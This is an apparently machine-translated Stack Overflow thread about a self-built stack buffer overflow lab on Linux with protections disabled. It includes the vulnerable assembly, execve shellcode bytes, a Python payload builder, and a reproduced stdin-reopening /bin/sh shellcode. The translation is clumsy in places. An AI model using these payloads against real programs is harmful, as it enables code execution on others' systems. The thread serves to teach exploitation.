Question

我在Linux（amd64）上玩过缓冲区溢出并试图利用一个简单的程序，但它失败了。我禁用了安全功能（使用sysctl -w kernel.randomize_va_space = 0和bios中的nx位进行地址空间布局随机化）。它跳转到堆栈并执行shellcode，但它不会启动shell。 execve系统调用成功，但之后它就会终止。知道什么是错的吗？运行shellcode独立工作正常。

奖金问题：为什么在调用printf之前需要将rax设置为零？（见代码中的评论）

易受攻击的文件 buffer.s ：

.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
    push %rbp
    mov %rsp, %rbp

    sub $120,  %rsp

    # calling printf without setting rax
    # to zero results in a segfault. why?
    xor %rax, %rax 
    mov %rsp, %rsi
    mov $.fmtsp, %rdi
    call printf

    mov %rsp, %rdi
    call gets

    xor %rax, %rax
    mov $.fmtjump, %rdi
    mov 8(%rbp), %rsi
    call printf

    xor %rax, %rax
    leave
    ret

shellcode.s

.text
.global main
main:
    mov $0x68732f6e69622fff, %rbx
    shr $0x8, %rbx
    push %rbx
    mov %rsp, %rdi
    xor %rsi, %rsi
    xor %rdx, %rdx
    xor %rax, %rax
    add $0x3b, %rax
    syscall

exploit.py

shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output

编译：

$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s

开始于：

$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328

使用gdb进行调试：

$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash

Program exited normally.

Answer 1

我现在在VM中使用Ubuntu 9.10时遇到了同样的问题。禁用操作系统的所有安全措施，并且“退出程序并将退出代码设置为42”这样的简单漏洞可以正常工作，但是当尝试打开shell时，程序就会终止。 gdb的输出完全相同：

(gdb) run < exploit.0xbffff3b8 
Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8

Enter password: Sorry. Wrong password.
Executing new program: /bin/bash

Program exited normally.
(gdb)

事情是，我需要它在大约工作。 16小时的演讲:-D

更新：我找到了这个简洁的研究：www.shell-storm.org/papers/files/539.pdf

第16页上说： “如果我们尝试执行shell，它会立即在此配置中终止”

在其他不使用gets（）的示例中，它们很好地生成了一个shell。不幸的是，他们没有暗示为什么它不起作用。：（

下一次更新：它似乎与stdin有关。 shell无法正确使用从原始进程获取的shell。我尝试使用最小的shell我找到了（evilsh）的源代码。它在尝试读取输入时崩溃了。我的猜测是，bash / dash会检查这个，并在stdin出现问题时默默地退出。

好的，请不要因为和我在这里谈话而杀了我，但是......

我找到了解决方案！

由于某种原因，有必要重新打开输入。我在这里找到了一个有效的shellcode：

http://www.milw0rm.com/shellcode/2040

我没有看到一个强硬的提示，但我可以使用打开的shell运行程序等。

Answer 2

Zenoc提供的链接已经死了，但仍可以在Wayback机器中找到。为方便起见，我在下面复制了它。我必须在顶部包含add $0x10,%esp以给我更多的堆栈空间，因为代码中的所有push es都进入了我的shellcode存储的缓冲区。如果您也希望将其包含在shellcode中，只需添加＆＃34; \ x83 \ xc4 \ x10＆＃34;一开始。 shellcode是55个字节而没有添加，58个用。

/*
 * $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
 *
 * gets-linux.c - stdin re-open shellcode for Linux/x86
 * Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Local shellcode for stdin re-open and /bin/sh exec. It closes stdin 
 * descriptor and re-opens /dev/tty, then does an execve() of /bin/sh.
 * Useful to exploit some gets() buffer overflows in an elegant way...
 */

/*
 * close(0) 
 *
 * 8049380:       31 c0                   xor    %eax,%eax
 * 8049382:       31 db                   xor    %ebx,%ebx
 * 8049384:       b0 06                   mov    $0x6,%al
 * 8049386:       cd 80                   int    $0x80
 *
 * open("/dev/tty", O_RDWR | ...)
 *
 * 8049388:       53                      push   %ebx
 * 8049389:       68 2f 74 74 79          push   $0x7974742f
 * 804938e:       68 2f 64 65 76          push   $0x7665642f
 * 8049393:       89 e3                   mov    %esp,%ebx
 * 8049395:       31 c9                   xor    %ecx,%ecx
 * 8049397:       66 b9 12 27             mov    $0x2712,%cx
 * 804939b:       b0 05                   mov    $0x5,%al
 * 804939d:       cd 80                   int    $0x80
 *
 * execve("/bin/sh", ["/bin/sh"], NULL)
 *
 * 804939f:       31 c0                   xor    %eax,%eax
 * 80493a1:       50                      push   %eax
 * 80493a2:       68 2f 2f 73 68          push   $0x68732f2f
 * 80493a7:       68 2f 62 69 6e          push   $0x6e69622f
 * 80493ac:       89 e3                   mov    %esp,%ebx
 * 80493ae:       50                      push   %eax
 * 80493af:       53                      push   %ebx
 * 80493b0:       89 e1                   mov    %esp,%ecx
 * 80493b2:       99                      cltd   
 * 80493b3:       b0 0b                   mov    $0xb,%al
 * 80493b5:       cd 80                   int    $0x80
 */

char sc[] = 
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

main()
{
    int (*f)() = (int (*)())sc; f();
}

// milw0rm.com [2006-07-20]

注意：由于编辑队列已满，我无法将其添加为Zenoc的答案编辑。

如果由于终端和gdb中的堆栈不同而难以查明shellcode的地址，请查看我的回答here。

用于简单堆栈溢出的Shellcode：带有shell的被利用程序在execve（“/ bin / sh”）之后直接终止

2 个答案: